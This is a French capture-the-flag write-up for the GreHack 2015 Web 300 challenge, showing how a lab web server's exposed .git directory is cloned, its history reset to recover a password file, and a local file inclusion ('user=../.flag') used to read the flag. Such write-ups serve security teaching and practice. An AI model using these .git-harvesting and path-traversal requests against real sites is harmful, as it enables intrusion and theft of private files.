**Challenge WEB 300**
Voici le challenge Web 300 proposé durant les CTF.
C'est un challenge original qui nous a donné vraiment mal à la tête.
Je pense que nous avons été nombreux à chercher un rapport entre les X-MEN et le challenge.
**Résolution :**
{{ :ctf:2015:grehack:llama1.png?nolink |}}
Voici la page d'accueil sur laquelle on arrive.
Premier réflexe : regarder le code source.
Dans les méta données, on pouvait voir une ligne avec un numéro de commit "Update commit 548789".
Deux options s'offrent à nous :
- Soit le site est un CMS (après googlisation ce n'est pas le cas) et il faut trouver sa version.
- Soit le site utilise un soft de subversionning (git, svn, ou autre).
Testons de trouver un repository :
http://192.168.4.1:8300/.git/
On se retrouve devant un "Forbidden". Cela veut dire qu'il y a un répertoire git.
Sur notre pc , on crée un répertoire :
mkdir llamas
On va dedans : cd llamas
Et on git clone :
git clone http://192.168.4.1:8300/.git/ .
Cela aura pour effet de cloner le git du site sur notre machine. Et ainsi de télécharger les sources du site.
{{ :ctf:2015:grehack:liste_git2.png?nolink |}}
En inspectant le code source d'index.php on ne voit rien qui nous permettent de valider directement l'épreuve.
Néanmoins, il y a un include d'un fichier ".passwd". Cependant, nous n'avons pas ce fichier dans la version de git que nous avons clonée.
Par conséquent on va afficher l'historique des commits réalisé avec git :
git log
commit 55ceec98046bea3fda2d9cc358660f066505765b
Author: Franck De Goër
Date: Sat Nov 7 09:54:10 2015 +0100
Add GET parameter verification
commit 3c93a840251d5ec6bdfbde683e2def9fd0be4a28
Author: Franck De Goër
Date: Sat Nov 7 09:52:17 2015 +0100
Add password verification in php
commit e82add9f51061086903ad0f7cfcf9568c8c8d140
Author: Franck De Goër
Date: Sat Nov 7 09:49:45 2015 +0100
Add form to enter password
commit 1c9b67a336c7ce58163567ba9193b747b2e780b5
Author: Franck De Goër
Date: Sat Nov 7 09:49:28 2015 +0100
Add subtitle to webpage
commit 492f71e69e7416e6c0765bd936274f9eb3a6e53c
Author: Franck De Goër
Date: Sat Nov 7 09:36:10 2015 +0100
Add missing files
commit 1f866c2c1aab83dabb6a2b5a4db18540d1151db7
Author: Franck De Goër
Date: Sat Nov 7 09:36:01 2015 +0100
First draft of web page
commit f9043c688d52f51d9102ef78f92e55144fb164a7
Author: Franck De Goër
Date: Sat Nov 7 09:35:48 2015 +0100
Import gitignore
La version de git qui nous intéresse est la première.
Pour synchroniser notre pc avec cette version :
git reset 55ceec98046bea3fda2d9cc358660f066505765b
On s'aperçoit qu'on récupère le fichier .passwd qui n'avait pas été récupéré lors du premier clonage (restriction de git).
{{ :ctf:2015:grehack:liste_git.png?nolink |}}
On affiche le contenu du fichier .passwd :\
Du coup on essaye :
http://192.168.4.1:8300/index.php?pwd=i_love_llamas_even_more_than_i_love_you
On obtient :
{{ :ctf:2015:grehack:llama2.png?nolink |}}
Accès authorisé mais pas de flag ... Si on retourne voir dans le code source de index.php , on trouve une LFI (local file inclusion) :
On inclus dans la variable user le fichier .flag qui est dans le dossier parent :
http://192.168.4.1:8300/index.php?pwd=i_love_llamas_even_more_than_i_love_you&user=../.flag
On obtient :
le flag : *they_are_not_llamas_they_are_alpacas*